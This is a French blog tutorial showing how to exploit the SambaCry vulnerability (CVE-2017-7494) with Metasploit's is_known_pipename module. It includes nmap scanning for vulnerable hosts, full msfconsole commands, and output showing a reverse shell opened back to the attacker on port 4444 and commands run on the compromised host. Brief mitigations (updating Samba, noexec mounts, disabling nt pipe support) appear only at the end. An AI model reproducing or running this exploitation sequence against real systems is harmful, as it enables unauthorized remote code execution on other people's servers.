Table des matières
SambaCry: Mise en pratique d'un exploit dans Samba
Ca vient d'arriver: Linux contient une faille critique qu'on peut considérer comme équivalente ressemblant a WannaCry sous Windows.
Sources:
Dans un post précédent , je m'étais légèrement gaussé a propos de la faille “WannaCry” affectant Windows …
Toutefois, il y a une différence majeure: Dans la faille exploitée ici, il faut des droits d'écritures (et d'exécutions) sur un partage SMB pour que l'exploit fonctionne, alors qu'avec “WannaCry
”, aucun droit particulier n'est requis.
Grâce à “metasploit
” , je vais montrer comment exploiter cette faille pour obtenir un shell et avoir accès a l'“ensemble” (aka droit “nobody”) du système vulnérable…
Ma principale source: http://thehackernews.com/2017/05/samba-rce-exploit.html
~~READMORE~~
metasploit
Installation
Dans mon post concernant WannaCry , j'ai déjà montré comment installer "metasploit" sous Debian.
Source de l'exploit
Il faut d'abord trouver la source de l'exploit nommé “is_known_pipename.rb
”.
Par exemple ici: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
En pratique, on peut télécharger le fichier comme ça:
$ wget -c https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
Ensuite, il faut copier le fichier dans “/opt/metasploit-framework/embedded/framework/modules/exploits/linux/samba/
”
En pratique, on peut copier le fichier comme ça:
$ sudo cp is_known_pipename.rb /opt/metasploit-framework/embedded/framework/modules/exploits/linux/samba/
Pré-requis
Trouver les systèmes vulnérables
UPDATE: Voir commentaires aussi.
nmap
Avec une version de “nmap
” supérieure a 7.4, il est possible d'utiliser le script qu'on trouvera sur ce site: http://seclists.org/nmap-dev/2017/q2/110
En pratique:
$ wget -c http://seclists.org/nmap-dev/2017/q2/att-110/samba-vuln-cve-2017-7494.nse
Et puis, je scan mon réseau:
$ nmap -p445 --script samba-vuln-cve-2017-7494.nse 192.168.1.0/24 ... Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-27 16:53 CEST Nmap scan report for pc-15.home (192.168.1.20) Host is up (0.0035s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | samba-vuln-cve-2017-7494: | VULNERABLE: | SAMBA Remote Code Execution from Writable Share | State: VULNERABLE | IDs: CVE:CVE-2017-7494 | Risk factor: HIGH CVSSv2: 9.03 (HIGH) (AV:N/AC:L/Au:S/C:C/I:C/A:C) | All versions of Samba from 3.5.0 onwards are vulnerable to a remote | code execution vulnerability, allowing a malicious client to upload a | shared library to a writable share, and then cause the server to load | and execute it. | | Disclosure date: 2017-05-24 | Check results: | Writable share found. | Name: public | Type: STYPE_DISKTREE | Path: C:\srv\share\public | References: | https://www.samba.org/samba/security/CVE-2017-7494.html |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494 Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds ...
Donc, on a identifié l'IP 192.168.1.20 …
Ouvrez les ports
Par défaut, comme pour l'exploit de “WannaCry
” avec “EternalBlue
”, il faut ouvrir le port 4444 car c'est par là qu'un shell va être disponible.
Exploitons
Donc, on demarre “metasploit
”:
$ msfconsole
On charge l'environnement nécessaire a l'exploit:
msf > use exploit/linux/samba/is_known_pipename
… ce qui transforme le prompt en:
msf exploit(is_known_pipename) >
Regardons les options:
msf exploit(is_known_pipename) > show options Module options (exploit/linux/samba/is_known_pipename): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_BASE no The remote filesystem path correlating with the SMB share name SMB_SHARE_NAME no The name of the SMB share containing a writeable directory Exploit target: Id Name -- ---- 2 Linux x86_64
Il faut d'abord définir la cible (que j'avais préalablement identifié):
msf exploit(is_known_pipename) > set rhost 192.168.1.20 rhost => 192.168.1.20
A ce stade, si on fait un test, le script de l'exploit va chercher a joindre une librairie qu'il a préalablement injecté, en se basant sur un “pattern” pré-defini.
Par exemple, on verra qu'il cherche dans:
[*] 192.168.1.20:445 - Trying location /mnt/usb/PUBLIC/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /mnt/usb/Public/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/public/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/PUBLIC/IlhJRAJJ.so... [*] 192.168.1.20:445 - Trying location /media/Public/IlhJRAJJ.so...
Pas de bol, aucun ne correspond au serveur a atteindre…
NOTA : En fait, l'exploit cherche tout les partages auxquels il a accès en écriture: Ici, il se nomme “public ”. |
Donc, je vais l'aider un peu en lui donnant le chemin où je sais que l'injection va arriver… Dans mon cas c'est : “/srv/share/public
”
Donc, je l'aide en spécifiant ce chemin:
msf exploit(is_known_pipename) > set SMB_SHARE_BASE /srv/share/public
Voila, l'exploit devrait fonctionner.
exploit now
msf exploit(is_known_pipename) > exploit [*] Started reverse TCP handler on 192.168.1.3:4444 [*] 192.168.1.20:445 - Using location \\192.168.1.20\public\ for the path [*] 192.168.1.20:445 - Payload is stored in //192.168.1.20/public/ as PAgKJLqv.so [*] 192.168.1.20:445 - Trying location /srv/share/public/PAgKJLqv.so... [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.20:44581) at 2017-05-25 05:28:48 +0200
Visitons un peu:
pwd /tmp
ls -lart total 32 drwxr-xr-x 22 root root 4096 Jun 5 2016 .. drwxrwxrwt 2 root root 4096 May 7 03:19 .font-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .XIM-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .X11-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .Test-unix drwxrwxrwt 2 root root 4096 May 7 03:19 .ICE-unix drwxrwxrwt 8 root root 4096 May 25 05:34 .
whoami nobody
conclusion
Mettre a jour Samba !!!
Mitiger
Montage avec l'option "noexec"
Si le partage exposé via Samba est un montage d'une partition, alors ajouter l'option de montage “noexec
”.
Cela va interdire toutes exécutions de programmes à partir de ce montage: Dans le cas de la vulnérabilité évoqué dans ce post, le code injecté ne sera pas exécutable.
Donc, si vous avez des partages, vous pouvez immédiatement appliqué l'option “noexec
” comme ceci:
# mount -o remount,noexec <POINT_DE_MONTAGE>
Dans mon cas, en pratique c'est:
# mount -o remount,noexec /srv/share
Modifier la conf de samba
Non testé |
---|
Pour ceux qui ne peuvent pas faire de mise à jour.
Dans “/etc/samba/smb.conf
”, dans la section “[global]
”, faire en sorte d'avoir:
nt pipe support = no
Et on redémarre:
# systemctl restart samba
Voila.